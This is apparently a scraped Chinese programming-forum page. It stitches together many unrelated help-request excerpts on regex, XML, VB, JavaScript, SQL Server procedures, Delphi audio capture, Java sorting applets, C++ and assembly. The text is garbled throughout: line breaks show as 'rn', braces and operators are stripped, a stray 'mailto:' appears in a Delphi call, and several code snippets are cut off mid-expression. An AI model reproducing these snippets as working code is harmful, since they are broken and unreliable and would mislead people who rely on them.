谁帮忙解析一下这个计算时间的函数 [问题点数:20分]

Bbs1
本版专家分:0
结帖率 42.86%
Bbs1
本版专家分:0
帮忙解析一下这个正则表达式
((?<=\d)\d3)结果是rn234rn567rn890rnrn麻烦讲的详细一些
帮忙解析一下这个xml
小弟对xml不熟,搜了很多资料也没搞定用javascript<em>解析</em>下面的xmlrnrnrnrn 3 rn 3 rn Nrnrnrn如果根据l3_gsm_sim取得值N, 根据l3_module_status_gsm 取得值3 ?rnrn
VB标题循环,谁帮忙解析一下
Private Sub Timer2_Timer()rn Me.Caption = Right(Me.Caption, Len(Me.Caption) - 1) & Left(Me.Caption, 1)rnEnd Subrn大家好,我刚开始学VB在某书中看到一个这样的例子,已设置好timer的interval,enabledrn假如caption="hello,world"rn我的理解是caption每隔interval=200毫秒显示一次"ello,worldh",应该不会有移动,当然我的理解是错的rn另外:rn为什么删掉 & Left(Me.Caption, 1)会报错?rnLeft(Me.Caption, 1)变成Left(Me.Caption, 2)后,当timer运行第二遍时出现在重叠。高手帮帮菜菜,实在想不出来!
帮忙分析一下这个函数
function dTree(objName) rn this.config = rn target : null,rn folderLinks : true,rn useSelection : true,rn useCookies : true,rn useLines : true,rn useIcons : true,rn useStatusText : false,rn closeSameLevel : false,rn inOrder : falsern rn this.icon = rn root : 'img/base.gif',rn folder : 'img/folder.gif',rn folderOpen : 'img/folderopen.gif',rn node : 'img/page.gif',rn empty : 'img/empty.gif',rn line : 'img/line.gif',rn join : 'img/join.gif',rn joinBottom : 'img/joinbottom.gif',rn plus : 'img/plus.gif',rn plusBottom : 'img/plusbottom.gif',rn minus : 'img/minus.gif',rn minusBottom : 'img/minusbottom.gif',rn nlPlus : 'img/nolines_plus.gif',rn nlMinus : 'img/nolines_minus.gif'rn ;rn this.obj = objName;rn this.aNodes = [];rn this.aIndent = [];rn this.root = new Node(-1);rn this.selectedNode = null;rn this.selectedFound = false;rn this.completed = false;rn;rnrn这是我下载JS树型特效的一个片段,我想问的是rnthis.config=rn .........rn rn<em>这个</em>是干什么的,数组吗?rn这些又代表什么:rnrn target : null,rn folderLinks : true,rn useSelection : true,rn useCookies : true,rnrn从没见过在Javacript里面见过冒号操作符,它表示什么,高手帮<em>帮忙</em>看看,指点<em>一下</em>。rn
帮忙一下这个正则
rn例如 rn我要匹配出来一个HTML标签的class 或者 id 是什么。。(有ID拿ID,没有就拿CLASS)rn最好也能匹配出来到底是div还是span还是其它
帮忙详解一下这个js函数
[code=JScript]insertBefore: function (newNode, targetNode) rn var parentNode = targetNode.parentNode;rn var next = targetNode.nextSibling;rn if (targetNode.id && targetNode.id.indexOf('temp')>-1) rn parentNode.insertBefore(newNode,targetNode);rn else if (!next) rn parentNode.appendChild(newNode);rn else rn parentNode.insertBefore(newNode,targetNode);rn rn ,rn[/code]
帮忙一下这个过渡效果~~~
rn自动切换到第五张的时候,回到第一张它的运行方向是向下。。。我想它一直向上运动~~~rn[code=HTML]rnrnrn rn 淘宝幻灯片上下滑动效rn rn rnrnrn rn rn 1rn 2rn 3rn 4rn 5rnrn rn rn rn rn rn rnrnrnrn[/code]
帮忙一下这个存储过程
ALTER PROCEDURE proGet系数情况 rnAS rnSET NOCOUNT ON rndeclare @sql varchar(8000) rnset @sql = 'select a.规格' rnselect @sql =@sql+ ',isnull(sum(case when b.工序id=' + cast(c.id as varchar) + ' then 系数 end),null) [' + c.工序 + ']' rnfrom (select id,工序 from 工序表 ) as c rnrnselect @sql = @sql+' from 规格表 a rnleft join 记工系数表 b on a.id=b.规格id rngroup by a.id,a.规格' rnexec(@sql) rnRETURN rnrn开发一个别人弄的数据库,以前用的好好的,现在运行,这存储过程出问题了,原因是varchar只支持8000个字符,若表中东西少的话,可以运行成功,但随着<em>时间</em>的增长,这已不适合,听别人说,用临时表可以实现 ,希望哪位高手帮我写一个时时表.谢谢了.用其它方法解决问题也可.用的是SQL 2000的数据库
谁来说一下 split 这个函数的用法?
如题!
帮忙...谁帮给我一下函数~~~急
谁能帮我写一个<em>函数</em>,能简单实现<em>这个</em>功能:取PK_USER_ROLE字段中字符串最大的一个值,然后把<em>这个</em>字符串加1,然后返回<em>这个</em>值,我SQLSERVER 可能实现.如下rnCREATE function getPKroleid()rnreturns char(20)rnasrnbeginrndeclare @PK_roleid char(20)rnselect @PK_roleid=max(PK_USER_ROLE) from PUB_USER_ROLErnrnset @PK_roleid='PK'+right('000000000000000000'+convert(nvarchar(10),convert(bigint,right(@PK_roleid,18))+1),18)rnrnreturn(@PK_roleid)rnend rnrnORACLE<em>函数</em>怎么写啊...<em>帮忙</em><em>一下</em>...
谁用过waveinopen函数帮忙调试一下
unit caiji;rnrninterfacernrnusesrn Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,rn StdCtrls,MMSystem;rnrntypern TForm1 = class(TForm)rn Button1: TButton;rn procedure Button1Click(Sender: TObject);rn privatern Private declarations rn publicrn Public declarations rn end;rntypern trecorder=classrn privatern Fwavefmt:Twaveformatex;rn wavehandle:hwavein;rn wavehdrl:pwavehdr;rn wavebuffer1:lpstr;rn// procedure callback(umsg,dwinstance,dwparam1,dwparam2:dword);stdcall;rnend;rnrnvarrn Form1: TForm1;rnrnimplementationrn$R *.DFMrnrnprocedure TForm1.Button1Click(Sender: TObject);rnvar recorder:trecorder;rnbeginrn recorder:=trecorder.Create;rn recorder.Fwavefmt.wFormatTag:=wave_format_pcm;rn recorder.Fwavefmt.wBitsPerSample:=16; //量化位数rn recorder.Fwavefmt.nSamplesPerSec:=11025; //采样速率rn recorder.Fwavefmt.nAvgBytesPerSec:=22050; //每秒采样得到的数据rn recorder.Fwavefmt.nBlockAlign:=2; //记录区块对齐的单位。rn waveinopen(@recorder.wavehandle,wave_mapper,mailto:@recorder.Fwavefmt,dword(@trecorder.callback),dword(@recorder),callback_function+wave_allowsync);rnend;rnrnend.rn错误提示:rn[Error] caiji.pas(43): Undeclared identifier: 'mailto'rn[Error] caiji.pas(43): Incompatible types: 'Cardinal' and 'Pointer'
这个计算时间函数应该怎么写?
[code=Java]rnpublic String calculateDate(Date startDate,Date endDate,Map sabbaticalLeave,Boolean includeOffDay,String[] workTime)rn[/code]rn要求是这样的,startDate是开始<em>时间</em>,endDate是结束<em>时间</em>,sabbaticalLeave中存放的是历年来的公休日信息,年份是key,当年节假日数组是value,节假日的格式类似这样"1月1日","1月2日"....。includeOffDay的意思是<em>计算</em>时是否排除休息日(周末和节假日),workTime是每天的工作<em>时间</em>,格式类似"9:00-12:00","13:00-18:00"...。rn要求写一个方法<em>计算</em>出开始<em>时间</em>和结束<em>时间</em>之间的工作时长,返回一个类似这样的字符串"工作了xx天xx小时xx分xx秒"。
帮忙解释下这个函数的意思
const Stock & topval (const Stock &s)const;rnrnrnconst Stock & Stock::topval(const Stock &s)constrnrn if(s.total_val>total_val)rn return s;rn elsern return *this;rnrnrnrnrn其中Stock是一个类, <em>这个</em><em>函数</em>原型是什么意思啊。怎么前面两个Stock,括号里还一个Stock呀.我只知道&是引用。谢谢了哦
帮忙看看这个JS的函数
rnrn rnrnrnrn怎么把JS中的","换成回车呢rnrn现在<em>这个</em><em>函数</em>使用后会在textarea中的结果是,如下:rnaaaa,bbbb,ccccrn我现要想换成回车,就如是rnaaaarnbbbbrncccc
帮忙指导一下
import java.applet.Applet; rnimport java.awt.*; rnimport java.awt.event.*; rnpublic class Sort extends Applet implements Runnable rn public static int[] data=18,4,17,5,13,8,14,7,10,16,11,3,19,2,20,15,6,9,1,12; rn Button bt=new Button("Start"); rn int x=50,y=100; rn Graphics g=getGraphics(); rn public void init() rn add(bt); rn this.setSize(300,300);rn bt.addActionListener(new ActionListener() rn public void actionPerformed(ActionEvent e) rn if(e.getSource()==bt)threadStart();rn rn );rn rn public void threadStart()rn new Thread(this).start();rn rn public void paint(Graphics g)rn g.setColor(Color.green); rn g.setFont(new Font("TimesRoman",Font.PLAIN,12)); rn for(int k=-1;++k =0;) rn for (int j = 0; j a[j+1]) rn int T = a[j];rn a[j] = a[j+1];rn a[j+1] = T;rn repaint();rn try rn Thread.sleep(1000);rn catch (InterruptedException e) rn e.printStackTrace();rn rn rn rn rnrnrn以上是实现排序过程的演示,大虾<em>帮忙</em>实现<em>一下</em>“暂停”和“继续”功能
帮忙解决一下
我现在买了一个空间,但我的主页是在子文件夹里的,我在最外面建了一个index.asp,里面用“ ” 实现跳转功能,结果url显示已经跳转到我那个manage/index.asp,只是内容都是空的。rn这些网页在本地浏览全部正常。rn什么原因?rn
帮忙修改一下!!
import java.applet.Applet; rnimport java.awt.*; rnimport java.awt.event.*; rnclass Alg extends Appletrn static int set=1,delayTime=50;rn static boolean stop=true;rn Graphics mypen;rn Button test=new Button("start");rn int[] data=18,4,17,5,13,8,14,7,10,16,11,3,19,2,20,15,6,9,1,12;rn public Alg()rn add(test);rn setSize(400,530);rn test.addActionListener(new ActionListener()rn public void actionPerformed(ActionEvent e)rn if(e.getSource()==test) set++;rn Choosealg();rn rn );rn rn public void paint(Graphics g)rn rn rn public void Choosealg()rn switch(set)rn case 1: rn mypen.setColor(Color.black);rn mypen.drawString("算法:Bubble\n输入:数组data[]\n输出:按非降序排列的数组data[]\n",50,50);rn mypen.drawString("1.for i a[j+1] then",50,100);rn mypen.drawString("4. 交换a[j] 与 a[j+1]",50,110);rn mypen.drawString("5. end if",50,120);rn mypen.drawString("6. end for",50,130);rn mypen.drawString("7.end for",50,140);rn break;rn case 2: mypen.setColor(Color.black);rn mypen.drawString("算法:Selection\n输入:数组data[]\n输出:按非降序排列的数组data[]\n",50,50);rn mypen.drawString("1.for i a[T] then",50,110);rn mypen.drawString("5. T a[j+1]) rn int T = a[j];rn a[j] = a[j+1];rn a[j+1] = T;rn mypen.drawString("4. 交换a[j] 与 a[j+1]",50,110);rn pause();rn rn mypen.drawString("6. end for",50,130);rn rn mypen.drawString("6. end for",50,120);rn rn mypen.drawString("7.end for",50,130);rn rn rn //选择排序rn public void Selection(int a[])rnrn for (int i = a.length-1; i > 0; i--) rnrn if(mypen.getColor()==Color.red) mypen.setColor(Color.blue);rn else mypen.setColor(Color.red);rnrn mypen.drawString("1.for i a[T] then",50,110);rn pause();rn if(a[j] > a[T]) rnrn T = j;rnrn mypen.drawString("5. T,50,160);rn rnrn大虾们,<em>帮忙</em>改<em>一下</em>,或重新<em>帮忙</em>写一个,功能就是显示算法的执行步骤。
帮忙用XSLT解析一下这个
我想用Xslt 来转换<em>这个</em>Xml 获取标签里面 属性的值 并输出在网页 看了<em>一下</em> rnrn<em>这个</em>标签 好像不能做到<em>这个</em>吧 那用哪个呢 请赐教rnrnrnrn rnrn rnrn rnrn rnrn rnrn
各位帮忙解析一下这个SQL语句!
小弟开始学写sql,简单的没有问题,现在遇到了不懂得,请赐教!rnrn什么set nocount on/off, nolock, inner 不明白。或者有没有推荐的书可以学的rnrnSET nocount on select distinct ll.lot, a.attributetype+'@'+ll.location+'@'+f.facility+'@'+slc.conversion+'='+a.attributevalue from lotattributes la inner join lotlocations ll (nolock) on la.lotlocn_id = ll.lotlocn_id inner join attributes a (nolock) on a.attribute_id=la.attribute_id inner join factories f (nolock) on f.factory_id = ll.factory_id inner join sumlevelconversion slc (nolock) on slc.sumlevel = la.sumlevel where lot in ('ABC') SET nocount off
python 计算 函数时间函数
经常会<em>计算</em>一段程序执行需要多长<em>时间</em>,python中提供了便捷的<em>计算</em>方法 Timer 使用方式如下 #斐波那契数列<em>函数</em> # 模拟业务进程 def demo(n): sum = 0 for i in range(n): sum +=i return sum from timeit import Timer #测试 <em>计算</em>斐波那契数列的消耗<em>时间</em> t = T...
关于计算时间函数
一个表里有一date类型字段czs,用来纪录操作<em>时间</em>,但是有的是记成2004-8-4 13:46:20,有的是2004-8-4,我检索昨天的纪录,在sqlserver里可以写成where datediff(day,czs,getdate())=1 。检索今天的纪录,可以写成where datediff(day,czs,getdate())=0,其中czs是字段名,datediff<em>函数</em>在oracle里用什么可以代替?
sum()函数计算时间
mysql 用sum(liezhi) leizhi是time类型。当好像<em>计算</em>出的结果不正确,不知道是怎么回事?rn
帮忙解析一下extract函数的用法!
@extract($HTTP_GET_VARS);rn@extract($HTTP_POST_VARS);rn这两句有什么具体的作用?谢谢
计算当前日期和时间函数
#include #include int main(void) { time_t t; time(&t); printf("Today's date and time: %s", ctime(&t)); return 0; }
麻烦帮忙计算一下
关键字:AES,GF(2^8)rnrn0x09 * 0x01 + 0x60 * 0x02 + 0xe1 * 0x03 + 0x04 * 0x01 = 多少?rn记住是在GF(2^8)上的运算.
帮忙优化一下时间。。。
[code=C/C++][/code]rn#include rn#include rnusing namespace std;rnstruct info rnrn int index;rn int price;rn int quality;rn;rnstruct CompSetrnrn bool operator()(const info &s1, const info &s2)rn rn return s1.quality>Test;//测试次数rn while (Test--)rn rn int n,b;cin>>n>>b;//b是预算,n是组件数rn multiset q[8];rn string type,name;rn int price,quality;rn info pc;rn while (n--)rn rn cin>>type>>name>>price>>quality;rn rn if (type=="processor")rn rn pc.price=price;pc.index=0;rn pc.quality=quality;rn q[0].insert(pc);rn rn rn if (type=="memory")rn rn pc.price=price;pc.index=1;rn pc.quality=quality;rn q[1].insert(pc);rn rn rn if (type=="mainbord")rn rn pc.price=price;pc.index=2;rn pc.quality=quality;rn q[2].insert(pc);rn rn if (type=="harddisk")rn rn pc.price=price;pc.index=3;rn pc.quality=quality;rn q[3].insert(pc);rn rn if (type=="casing")rn rn pc.price=price;pc.index=4;rn pc.quality=quality;rn q[4].insert(pc);rn rn if (type=="monitor")rn rn pc.price=price;pc.index=5;rn pc.quality=quality;rn q[5].insert(pc);rn rn if (type=="mouse")rn rn pc.price=price;pc.index=6;rn pc.quality=quality;rn q[6].insert(pc);rn rn if (type=="keyboard")rn rn pc.price=price;pc.index=7;rn pc.quality=quality;rn q[7].insert(pc);rn rn rn multiset s;int sum=0;rn for (int j=0;jquality,p,i;rn while (sum::iterator ip;rn it=s.begin();rn stdq=it->quality;rn p=it->price;rn i=it->index; rn if (!q[i].empty())rn rn // cout<
帮忙翻译一下这个函数的C代码
这是ARM的一个<em>函数</em>的汇编代码,本人汇编不熟悉,请<em>帮忙</em>翻译成C<em>一下</em>。rnrn[code=Assembly]rnPUSH R4,LRrnLDR R2, [R0]rnLDR R1, =(aHello - 0xDDA)rnMOVS R3, 0x29CrnADD R1, PC rnLDR R3, [R2,R3]rnBLX R3rnPOP R4,PCrn[/code]
各位再帮忙一下改写这个函数
有一表:rnStationID Rain4min rnM1303 10000101rnM1503 00010501rnM1603 10020101rnrn -- 这里的Rain20min 的数据为1分钟两个字符,4分钟共8个字符rn要求得下表rnStationID 前2分钟 后2分钟 4分钟 rnM1303 10 2 12rnM1503 1 6 7rnM1603 12 2 14rnrnrn现在有Rain60minrn000000000000000000000000000000000000000000000000000000000001000000010310090704020000000000000000000000000000000000000000 rn这是wgsasd311(自强不息) 写的<em>函数</em>没有要的我所要的结果,我要的是两个字符为1分钟数据,各位再<em>帮忙</em>看<em>一下</em>,多谢了!rncreate function ftr(@str varchar(4000))rnreturns intrnasrnbeginrndeclare @re int,@i intrnset @re=0rnset @i=1rnwhile @i<=len(@str)rnbeginrnset @re=@re+substring(@str,@i,1)rnset @i=@i+1rnendrnreturn @rernend
帮忙为初学者改一下这个函数.
create OR REPLACE function f_my( userId varchar2)rnreturn integer isrn retNum integer;rnbeginrn if userId = '1' thenrn beginrn retNum:=1;rn end;rn else if userId='2' thenrn beginrn retNum:=2;rn end;rn elsern begin rn retNum:=3;rn end;rn RETURN (retNum);rnend;rn
帮忙定义一下这个函数
<em>函数</em>原型:rnint WINAPI SubmitA(unsigned char OrgTON, unsigned char OrgNPI, LPCTSTR rnOrgAddr, unsigned char DestTON, unsigned char DestNPI, LPCTSTR DestAddr, unsigned char PRI, unsigned char RD, unsigned char RP, unsigned char SRR, unsigned char MR, unsigned char DCS, unsigned char PID, LPCTSTR Schedule, LPCTSTR Expire, unsigned long Default_ID, unsigned char UDHI, unsigned long UDLen, LPCTSTR UserData, unsigned long* SM_ID, unsigned char* FCS);rn这些数据类型在delphi里面是什么样?
帮忙分析一下这个函数(help)
function Write_Socket(sockfd:TSocket; const s:string):Integer; rn//功能:将字符串S写入sockfd rnbegin rn setwindowtext(win.hInfo,pchar(s)); rn Result:=Send(sockfd,pointer(s)^,Length(s),0) rnend; rnrn问题:rn1、setwindowtext(win.hInfo,pchar(s)); 里面的win.hInfo是什么意思?rn2、<em>帮忙</em>解释<em>一下</em>Send(sockfd,pointer(s)^,Length(s),0) 这一行吧。rn不好意思,菜鸟一个,对delphi和winsock都在学习当中...
这个函数有问题,帮忙修改一下
测试不通过,代码如下: rnrn表:cls_type rnid name rn1 中国 rn2 美国 rn.... rnrnSELECT dbo.getnamebyid(cls_type, 1) AS Expr1 rnrnrnCREATE FUNCTION getnamebyid(@tablename varchar(20) , @id int) rnRETURNS varchar(50) rnAS rnBEGIN rn DECLARE @name as varchar(50) rn declare @sql as varchar(100) rn rn set @sql = 'select @name= name from ' + @tableName + ' where id = ' + @id rn exec sp_executesql @sql,@name output rn RETURN(@name) rnEND rnrnrn提示列名 cls_type 无效 rnrn如果我加一个 判断表名是否存在,这句rnif exists (select * from dbo.sysobjects where id = object_id(N'[表名]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) rn应该如何加在上面??rnrn谢谢!
帮忙分析一下这个EXCEL函数
这是EXCEL表格里面的一个<em>函数</em>公式, rn=SUM(IF(ISERR(-$H4:$AK4),,IF(--TEXT($H4:$AK4,"0;;0;\0")<8,$H4:$AK4/8,1)))rnrn解释<em>一下</em>, 这是一个<em>计算</em>考勤的EXCEL表格, 在H4:AK4<em>这个</em>区域,保存了31天的考勤记录,记录的格式是,当天的上班时长,单位是小时,并且都取整了, 比如上8小时,就填入数字8, 4小时就填入4,如果事假病假或者休息日,就用不同符号代替(比如方框,三角号,或者字母等等)。rnrn那么<em>这个</em>使用<em>函数</em>的单元格,返回的值,是当前行的<em>这个</em>员工,对应一个月上班的天数。rn天数的规则是, 如果当天上班时长大于等于8小时,算1天, 小于8小时,不算一天, 是用实际上班<em>时间</em>除以8得到上班天数,比如4小时,算0.5天, 3小时,算0.375天,8小时算1天, 10小时算1天等等。rnrn我现在能理解里层IF<em>函数</em>的意思,但是外层的IF<em>函数</em>条件ISERR(), 不是很明白, 特别ISERR的唯一参数,里面包含的“-”<em>这个</em>符号的意义不明确, 请高手指导. 就是-$H4:$AK4,减号是什么意思?
帮忙解析一下
现在的需求是用[color=#FF0000]正则表达式[/color]从字符串中<em>解析</em>"/",rn要求不匹配"//"中的"/" , 但是匹配"///"中的"/".rn如:we are good///children 需要<em>解析</em>出一个"/";rn we are good//children 不能匹配;rn最好能讲解<em>一下</em>具体用法
帮忙解析一下这段话!
我的问题是:rn我做了一个网站生成系统但是不知道怎么<em>解析</em>域名rn初步设想是rn把生成的用户主页放在根目录下。rn其他的用户资料,如图片,文件放在用户目录下。rn<em>解析</em>时根据用户主页来<em>解析</em>。rnrn别人回答我的是:rn主要由两点:rn1、IIS需要识别所有的站点,即你通过WWW.USERDOMAIN.COM访问时IIS知道导向到哪一个目录也就是你说的根目录rn2、在跟目录下设置一个判别程序,该程序:rn 获得当前http访问的域名rn 从数据库查询域名,看是哪一个站点,对应那一个首页,然后转向那一个首页。 rn然后,其他的页面根据站点ID来显示不同用户的资料rnrnrn大家有没有人用更通俗的话帮我解答?谢谢!rnrn~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~rn菜虫虽然苯,但是我起得早!rn
一下时间计算原理!
不是问dateadd<em>这个</em><em>函数</em>怎么用.rn而是问dateadd<em>这个</em><em>函数</em>,它内部的<em>时间</em>是如何<em>计算</em>的.rnrn如果我<em>计算</em>300个小时后的<em>时间</em>,<em>这个</em><em>计算</em>过程相当复杂,关键是要考虑每个月的天数不同.rnrnjs里没有dateadd<em>这个</em><em>函数</em>,所以想自己写一个!只是想知道有没有更好的方法!rn
计算这个函数时间复杂度
int blah(int n)rnrnint sum = 0;rnint i, j;rnif (n == 0)rnreturn 1;rnfor(i=0; i<=log(n); j++) rnloop-bodyrnrnsum = blah(n/2);rnsum += blah(n/2);rnreturn sum;rnrnrn通过递归得到运行<em>时间</em>的公式rnT(N) = 2T(n/2) + o(nLogn)rnrn<em>这个</em>递归式子对么?怎么对其化简呢?
谁解一下这个题目
在实数轴上放有n个点x1,x2,x3,...,xn,现在要求找出最少量的单位长度线段来包含rn这n个点,试设计你的方案
帮忙一下错误
迷宫问题代码:rn[code=c]#include rn#include rn#include rn#include rn#define m 6rn#define n 8rnint maze[m+2][n+2];rntypedef struct rnint x,y;rnitem;rnitem move[8]=0,1,1,1,1,0,1,-1,0,-1,-1,-1,-1,0,-1,1;rntypedef structrnint x,y,d;rndatatype;rndatatype temp;rn#define FALSE 0rn#define TRUE 1rntypedef struct nodern int a,b,c;rn struct node *next;rnrnSeqStack;rnSeqStack * Init_SeqStack()rnrn SeqStack *top;rn top->next=NULL;rn return top;rnrnint Push_SeqStack(SeqStack *top,datatype temp)rnrn SeqStack *p;rn p=(SeqStack *)malloc(sizeof(SeqStack));rn if(p==NULL)rn return FALSE;rn p->a=temp.x;rn p->b=temp.y;rn p->c=temp.d;rn p->next=top->next;rn top->next=p;rn return TRUE;rnrnint IsEmpty(SeqStack *top)rnrn if(top->next==NULL)rn return TRUE;rn return FALSE;rnrnint Pop_SeqStack(SeqStack *top,datatype *s)rnrn SeqStack *p;rn if(IsEmpty(top))rn return FALSE;rn p=top->next;rn s->x=p->a;rn s->y=p->b;rn s->d=p->c;rn top->next=p->next;rn free(p);rn return TRUE;rnrn//迷宫rnint path(int maze[m][n],item move[8])rnrn SeqStack *s;rn int x,y,d,i,j;rn s=Init_SeqStack();rn temp.x=1;rn temp.y=1;rn temp.d=-1;rn Push_SeqStack(s,temp);rn while(!Empty_SeqStack(s))rn rn Pop_SeqStack(s,&temp);rn x=temp.x;rn y=temp.y;rn d=temp.d+1;rn while(d);rn return 0;rnrnrn[/code]rn/main.c|82|错误: expected expression before ‘’ token|rn/main.c|117|错误: expected expression before ‘]’ token|
帮忙一下代码?
有两个表rn一个是表Leibie 字段为 leibie_id,leibie_namern另一个表Lanmu 字段为 lanmu_id,leibie_id,lanmu_namern然后页面上有两个DropDownList控件rn用第一个显示Leibie中的内容 用第二个显示Lanmu中的内容rn请问怎么写代码将它们关联起来rn也就是点击第一个的时候 然后第二个里面出现和它相联系的内容???rn请帮<em>一下</em>忙,谢谢了!!!!
帮忙解答一下
2.编写实现链表排序的一种算法。说明为什么你会选择用这样的方法? rn3.编写实现数组排序的一种算法。说明为什么你会选择用这样的方法? rn6.在链表里如何发现循环链接? rn10.请编写实现malloc()内存分配<em>函数</em>功能一样的代码。 rn9.给出一个<em>函数</em>来输出一个字符串的所有排列
谁可以帮忙解决一下
我要设计一个管理系统,是有关于“汽车管理”rn要求:表的数据项有:车型,颜色,牌号,单位rn 其中的数据已有。rn 查询功能:以表单文本输入的方式来查询,结果是以表的形式来显示的rn 删除功能:在查询的基础上进行的(即在查询结果中,进行删除)rn 增加功能; 在表单中增加就可以rn其他的功能,我可以解决。rn谢谢哥哥,姐姐们的帮助。 rn
谁介绍一下PostMessage函数
谁介绍<em>一下</em>PostMessage<em>函数</em>
关于计算时间和文件大小的函数
过年回家啥也没干,基本都是走亲戚,好久没写博客了,今天上班第一天记录下以前的东西。        本文主要记录下项目中当时需要做的事情(怕以后要用忘记了)<em>计算</em>文件下载<em>时间</em>以及平均下载速度,注释部分为当时测试程序中的文件平均下载速度、文件大小、文件个数等,由于代码量大不可能全部截取,以下只有部分,以及自己写的一个demo。
求一个计算时间函数
有一个表:rnCREATE TABLE [dbo].[Worktime] (rn [I_D] [int] NOT NULL ,rn [Bc] [smallint] NOT NULL , --班次rn [SbTime] [datetime] NOT NULL , --上班<em>时间</em>rn [XbTime] [datetime] NOT NULL --下班<em>时间</em>rn) ON [PRIMARY]rnrn数据:rninsert into Worktime (I_D,Bc,SbTime,XbTime)VALUES(1,0,'08:00',11.30)rninsert into Worktime (I_D,Bc,SbTime,XbTime)VALUES(2,0,'12:30',20.00) --与上记录的<em>时间</em>间隔是吃饭<em>时间</em>rninsert into Worktime (I_D,Bc,SbTime,XbTime)VALUES(3,1,'20:00',23.30)rninsert into Worktime (I_D,Bc,SbTime,XbTime)VALUES(4,1,'00:30',08.00) --与上记录的<em>时间</em>间隔是吃饭<em>时间</em>rn@Time1 =2008-12-01 21:20 --任务开始<em>时间</em>rn@Time2 =2008-12-10 04:45 --任务结束<em>时间</em>rnrn求一个<em>函数</em>,<em>计算</em>任务有效工作的小时数,即去掉吃饭<em>时间</em>的工作小时数rn
6.mysql 常用的计算时间函数
1. date_sub(date2 , INTERVAL d_value d_type); 在date2上面减去一个<em>时间</em>。 inserttimedate_sub(curdate(),interval 1 day) 2. date_format(date_sub(curdate(),interval 1 day),'%Y%m%d') 格式化一个<em>时间</em>为字符串。 3. LENGT
帮忙解释下这个SQL
select * from user_info order by case when add_time = (select max(add_time) from user_info) then 0 else 1rnrn这种写法是什么意思啊?
帮忙讲下这个
这是<em>这个</em>网址rnhttp://mp.weixin.qq.com/s?__biz=MzA5ODM5MDU3MA==&mid=2650861784&idx=1&sn=cb80e88bcac7951897fff6800e238eac&scene=0#wechat_redirectrnrnSELECT idrnFROM (rn SELECT id, ((@cnt:= @cnt + 1) + $perpage - 1) % $perpage cntrn FROM news rn JOIN (SELECT @cnt:= 0)Trn WHERE id < $last_idrn ORDER BY id DESCrn LIMIT $perpage * $buttonsrn)CrnWHERE cnt = 0;rnrn我看不懂<em>这个</em>
帮忙看看这个汇编程序!
DATA SEGMENTrnrnNUM1 DB 10 DUP(?)rnNUM2 DB 10 DUP(?)rnrnrnDATA ENDSrnrnCODE SEGMENTrnrnASSUME CS:CODE,DS:DATA,SS:STACKrnrnSTART:rn MOV AX,DATArn MOV DS,AXrn rn;;;;;;;输入一个字符,并判断<em>这个</em>字符是否是数字字符rnrnJUDGE_NUMBER PROC nearrnBegin:rn PUSH AXrnrn MOV AH,08H ;;;;无回显地输入一个字符rn INT 21Hrn rn CMP AL,'0'rn jb Beginrn rn CMP AL,'9'rn ja Beginrn rnrn MOV BL,AL;;;;;;;bl用来接收判断之后的字符rn rn rn rn ;;;;;;;;;;;;;;;;;;;;;;rn MOV DL,BLrn MOV AH,2Hrn INT 21Hrn ;;;;;;;;;;;;;;;;;;;;;;rn POP AXrn RET rn JUDGE_NUMBER ENDPrnrnrnrn;;;;;;;将字符转换为数字rnrnCHANGE_TO_NUMBER PROC nearrn PUSH BXrn PUSH AXrn PUSH DXrn rn MOV AL,'0'rn SUB BL,ALrn rn rn MOV CL,BL ;;;;;将数字字符传给clrn rn POP dxrn POP AXrn POP bXrnrn RET rn CHANGE_TO_NUMBER ENDPrn rnrnFIRST:rn CALL JUDGE_NUMBERrn CALL CHANGE_TO_NUMBER rn mov num1,clrnrnSHOW_ADD_SIGN:rn MOV dl,'+'rn MOV AH,2Hrn INT 21HrnSECOND: rn call JUDGE_NUMBERrn CALL CHANGE_TO_NUMBER rn MOV NUM2,CLrn rnSHOW_EQUAL_SIGN:rn MOV DL,'='rn MOV AH,2Hrn INT 21Hrn rnPLUS: MOV AL,NUM1rn MOV BL,NUM2rn MOV AL,BLrn rn MOV DL,ALrn MOV AH,2Hrn INT 21HrnrnCODE ENDSrn END STARTrn
帮忙解释下这个语法
T[] toArray(T[] a);rnrn这是Collection接口里面定义的方法,最前面那个我没有看懂是什么意思,请高手回答<em>一下</em>。rn为什么不直接写成 T[] toArray(T[] a)
帮忙一下函数
在delphi里有没有这样的<em>函数</em>,有一个字符串str,我现在想取我指定起始位置和长度的子串。
谁帮我看看这个计算有效考勤的函数,多谢了!
这是个<em>计算</em>有效考勤的<em>函数</em>,要求<em>计算</em>出@x和@y之间的有效<em>时间</em>,在正常上班<em>时间</em>内有效(7:30-11:30,13:30-17:30),我把返回值定义成浮点类型,但返回为什么是一个整数,小于1时结果就为0了,这是为什么?谁有更好的算法吗?rncreate function xxx(@x datetime,@y datetime)rnreturns floatrnas rnbeginrndeclare @t1 datetimerndeclare @t2 datetimerndeclare @t3 datetimerndeclare @t4 datetimerndeclare @aa floatrnset @t1='7:30'rnset @t2='11:30'rnset @t3='13:30'rnset @t4='17:30'rnrn If @x Is Null Or @y Is Null or @X >= @t4 set @aa=0rn else rn beginrn if @x@y or @y>=@t4 set @y=@t4rn else if @y>=@t3 set @y=@yrn else if @y>=@t2 set @y=@t2rn else if @y>=@t1 set @y=@yrn else set @aa=0rn If (@X >=@t1) And (@X = @t3) And (@Y rnselect dbo.xxx(@x,@y)rn<em>这个</em>显示结果为0,实际应为51/60=0.85
一个函数帮忙一下
private void bind_top(Object Obj)rn rn string strSql = "select top 15 * from";rn OleDbDataAdapter adp=new OleDbDataAdapter(strSql,conn);rn DataSet ds=new DataSet ("ds");rn tryrn rn adp.Fill (ds);rn this.Obj.DataSource =ds;rn this.Obj.DataBind ();rn rn catch(System.Exception ex)rn rn throw new Exception (ex.Message );rn rn finallyrn rn //conn.Close ();rn rn rnrnrn<em>这个</em><em>函数</em>是错误的,我想实现的是通过<em>函数</em>的参数来决定绑定哪个datelist控件
AcceptEx 这个函数谁用过?
